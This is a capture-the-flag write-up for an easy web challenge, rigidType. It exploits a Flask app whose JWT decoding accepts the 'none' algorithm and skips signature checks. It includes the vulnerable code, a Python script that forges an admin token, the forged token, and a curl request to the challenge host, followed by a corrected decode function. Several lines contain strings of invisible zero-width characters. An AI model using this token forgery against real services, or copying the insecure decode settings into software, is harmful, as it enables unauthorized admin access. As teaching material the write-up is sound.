← Back to Writeups
CUSTOMEasyWeb

rigidType

XESXOR9/2/20262 min read
#web#custom#easy#jwt-none-algorithm-attack#jwt-signature-verification-byp#token-forgery

rigidType

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: JWT None Algorithm Attack, JWT Signature Verification Bypass, Token Forgery

Summary

Walkthrough of the CUSTOM Web rigidType. Task: Flask app with JWT authentication, source code provided. Solution: JWT None Algorithm Attack - the jwt.decode() allows 'none' algorithm and has verify_signature=False, enabling token forgery wit

Description

"Время сиять, бро" (Time to shine, bro)

URL: http://62.173.140.174:16077

Flask application with JWT authentication. Source code provided.

Analysis

Vulnerable Code

In app.py line 26:

python
def decode_token(token):
    return jwt.decode(token, SECRET_KEY, algorithms=['HS256', 'none'], options={"verify_signature": False})

Two critical vulnerabilities:

  1. algorithms=['HS256', 'none'] — the "none" algorithm is allowed, which requires no signature
  2. options={"verify_signature": False} — signature verification is completely disabled ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is a classic JWT vulnerability — Algorithm Confusion / None Algorithm Attack.

Title Irony

The task name "rigidType" (strict typing) is ironic: it implies strict verification, but JWT verification is completely disabled!

Solution

Step 1: Creating a Forged JWT Token

A JWT token consists of three parts separated by dots:

  • Header (base64url)
  • Payload (base64url)
  • Signature (base64url)

When using the "none" algorithm, no signature is required.

python
import base64
import json

# Header with "none" algorithm
header = {"alg": "none", "typ": "JWT"}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Payload with admin privileges
payload = {"username": "admin", "role": "admin", "exp": 9999999999}

def b64url_encode(data):
    """Base64url encode without padding"""
    return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip('=')

# Assemble token: header.payload. (empty signature)
token = f"{b64url_encode(header)}.{b64url_encode(payload)}."
print(token)

Result:

eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJyb2xlIjogImFkbWluIiwgImV4cCI6IDk5OTk5OTk5OTl9.

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Sending Request with Forged Token

bash
curl -b "token=eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJyb2xlIjogImFkbWluIiwgImV4cCI6IDk5OTk5OTk5OTl9." \
  "http://62.173.140.174:16077/admin"

Defense

Correct implementation:

python
def decode_token(token):
    return jwt.decode(
        token, 
        SECRET_KEY, 
        algorithms=['HS256'],  # Only one specific algorithm
        options={"verify_signature": True}  # Mandatory signature verification
    )

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References

Key Takeaways / Lessons

  • Mastering JWT None Algorithm Attack, JWT Signature Verification Bypass, Token Forgery was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2025-12-20 • CUSTOM • rigidType • Difficulty: Easy